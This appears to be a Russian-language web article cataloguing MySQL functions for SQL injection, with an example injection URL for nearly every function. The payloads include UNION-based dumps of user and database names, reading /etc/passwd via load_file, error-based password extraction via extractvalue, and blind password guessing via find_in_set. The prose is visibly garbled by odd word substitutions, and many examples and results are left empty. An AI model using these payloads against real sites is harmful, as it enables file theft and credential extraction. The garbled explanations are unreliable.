При проведении SQL Injection нередко использут операторы, о которых вы вероятно прекрасно не понимаете. Получается, что далее скоро приведу по-хорошему доскональное описание с образцами, перечень операторов станет плавно возрастать. Но с другой стороны долго рассматриваются операторы MySQL, т.к данное более вправду знаменитая СУБД, в иных есть просто-таки похожие операторы.
>
Оператор UNION употребляется для соединения SELECT запросов. По правде говоря если ALL не принято на вооружение, то дубликаты исключаются из соединения последствий. все запросы производятся самостоятельно между собой, а теснее вывод их - объединяется. главное - численность полей до оператора UNION и после обязано охотно отвечать.
Пример:
>
Используется для подбора числа полей. ошибок не станет, в случае если численность полей менее либо одинаково n.
Пример:
// http://example.org/script.php?id=-1+group+by+6–+-
>
Также употребляется для подбора численности полей, хотя число полей наверное более или же одинаково n.
// http://example.org/script.php?id=-1+order+by+6–+-
>
Интерпретирует доводы как целые количества и отдаёт строчку, состоящую из знаков, сообразных ASCII-коду данных количеств. величины NULL пропускаются
Пример:
Результат:
>
Функция выводит логин пользователя, под коим мы подключены к MYSQL
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,user(),3–+-
Результат:
>
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,database(),3–+-
Результат:
>
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,version(),3–+-
Результат:
>
Функция отдаёт строчку, которая тихо является эффектом соединения подстрок (str1, str2, str3…) в некую строчку. если даже 1 из доводов попросту равен NULL, ворачивается NULL. может обратно брать на себя наиболее 2 доводов. число преобразуется отчасти в эквивалентную строковую форму.
Пример 1:
// http://example.org/script.php?id=-1+union+all+select+1,concat(database(),0×3a3a,user(),0×3a3a,121),3–+-
Результат:
Пояснения: 0×3a3a - hex вариант представления 2 двоеточий. также применяют char(58). Использскакавшей разделителя.
Пример 2:
// http://example.org/script.php?id=-1+union+all+select+1,concat(database(),char(58),user(),0×3a3a,121),3–+-
>
Специальная форма функции CONCAT(), означает CONCAT With Separator(с разделителем). первый довод относительно считается разделителем для добровольно оставшихся доводов. разделитель, однозначно аналогично как и другие доводы, быть может строчкой. если разделитель по-своему равен NULL, то эффект станет NULL. данная функция станет отлично пропускать все величины NULL и громко пустующие строчки, находящиеся в последствии аргумента-разделителя(в различие от CONCAT, который в такой ситуации отдаёт NULL) . разделитель станет добавляться меж строчками (str1,str2,str3…)
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,concat_ws(0×3a3a,database(),NULL,user(),121),3–+-
>
Функция GROUP_CONCAT() соединяет в некую строчку немного запросов из таблицы. также вполне вероятно внедрение личного разделителя. Для юзеров Opera: 0×0b - неэкранированный знак перехода на новейшую строчку. налицо главной задачей этого оператора будет то, что размер окончательно отдаваемых им этих урезан весьма системной вправду переменной group_concat_max_len, по умолчанию взаправду одинаковым 1024 б. таким образом, применять GROUP_CONCAT() комфортно только при получении заранее не очень больших размеров этих. однако применение GROUP_CONCAT() не настоятельно убедительно просит выводить информацию построчно при помощи LIMIT, как в CONCAT и CONCAT_WS, данная фунция выводит всю таблицу.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,group_concat(database(),0×3a3a,user()+SEPARATOR+0×0b),3–+-
>
Возвертит ASCII-код первого левого знака строчки str. подробно возвращает 0,
в случае если строчка str бессодержательная. подробно возвращает NULL, когда строчка str
существует.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,ascii(123),3–+-
Результат:
>
В случае, раз 1 левый знак строчки str относительно считается многобайтовым,
подробно возвращает его код в формате: ((1 б ASCII- код)*256+(второй
б ASCII -код))[*256+третий б ASCII -код...].
Если не классифицируется многобайтовым, то срабатывает подобно ASCII()
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,ord(123),3–+-
Результат:
>
Функция для конвертирования количества (int_or_str ) из одной системы исчисления (from_base) в иную систему (to_base). подробно возвращает NULL, раз доводы NULL. значения воистину заключительных 2-ух характеристик лично имеют все шансы быть от 2 до 36.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,CONV(123,10,6),3–+-
Результат:
>
Возвращает двоичное значение довода int. слишком аналогично деянию CONV(int,10,2). подробно возвращает NULL, когда довод int NULL.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,bin(123),3–+-
Результат:
>
Возвращает шестнадцатиричное значение довода int_or_string. очень-очень аналогично воздействию CONV(int,10,16). подробно возвращает NULL, коль скоро довод int_or_string NULL.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,hex(123),3–+-
Результат:
>
SUBSTRING(str, pos int, len int) == MID == SUBSTR
Возвращает подстроку строчки str длиною len знаков с позиции pos. Eсли не указан довод len, то отдаёт всю подстроку строчки str с позиции pos.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,MID(123,1,2),3–+-
// http://example.org/script.php?id=-1+union+all+select+1,SUBSTRING(123,1,2),3–+-
// http://example.org/script.php?id=-1+union+all+select+SUBSTR(123,1,2),3–+-
Результат:
>
Возвертит строчку str, сменив в ней все прямо-таки заглавные буквы ненамного на прописные.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,LOWER(’uNiOn’),3–+-
// http://example.org/script.php?id=-1+union+all+select+1,LCASE(’uNiOn’),3–+-
Результат:
>
Возвертит строчку str, сменив в ней все по-своему прописные буквы очень-очень на заглавные.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,UPPER(’uNiOn’),3–+-
// http://example.org/script.php?id=-1+union+all+select+1,UCASE(’uNiOn’),3–+-
Результат:
>
Читает файл и отдаёт его контент повторяющий вид строчки (при весьма физическом наличии файла и подходящими правами доступа к нему). file_name относительно считается прямо-таки полным методом к файлу на сервере. Файл обязан быть объемом менее, нежели хладнокровно установлено параметром
max_allowed_packet. при происхождении трудностей (неимение файла и тд.)
подробно возвращает NULL.
Пример:
// http://example.org/script.php?id=-1+union+all+select+1,load_file(’/etc/passwd’),3–+-
Результат:
>
ExtractValue(xml-type-instance, ‘xpath-expression’)
Извлекает значение составляющей из XML-документа либо XML-данных.
Пример:
// http://example.org/script.php?id=-1+and+extractvalue(1,concat(0×5c,(select+password+from+users+limit+0,1)))–+-
Результат:
>
Выполняет выражение явное число разов. обратно идет перегрузка на сервер.
Пример:
>
Возвертит число знаков, особенно одинаковое len, из строчки str, обычно начиная с самого левого знака
Пример:
// http://example.org/script.php?id=-1+union+select+left(’mysql_server’,5)–+-
Результат:
>
Сравнивает 2 строчки и отдаёт 0, коль скоро более-менее одинаковы, 1 ежели 1-ая более 2 и -1 в случае если 1-ая менее 2.
Пример:
// http://example.org/script.php?id=-1+union+select+strcmp(’str’,’str2′)–+-
Результат:
>
Оператор JOIN при применении в SELECT запросах обединяет записи из 2 и поболее таблиц. существуют поистине всевозможные варианты оператора JOIN, в неких из их нужно будет однозначно неотъемлемое применение join_condition.
Пример:
// http://example.org/script.php?id=-1+union+select*from+table1+full+join+table2–+-
Результат:
Все ценности из таблицы table1 и table2 в отсутствии повторений.
>
Функция отдаёт значение от 1 до …, исходя из позиции строчки str посреди строчек str1, str2,… подробно возвращает 0, коль скоро str Добросовестно не обнаружена из числа строчек str1, str2,…. подробно возвращает NULL, в случае если 1 из доводов NULL.
Пример:(для наглядности представим что пароль взаправду необыкновенно числовой)
// http://example.org/script.php?id=-1+union+select+find_in_set(mid((select+password+from+users+limit+0,1),1,1),’0,1,2,3,4,5,6,7,8,9′)–+-
Результат:
Если 1-ая цифра пароля 5, то запрос возвратит 6.
>
Вы должны быть зарегистрироавны чтобы оставить комментарий.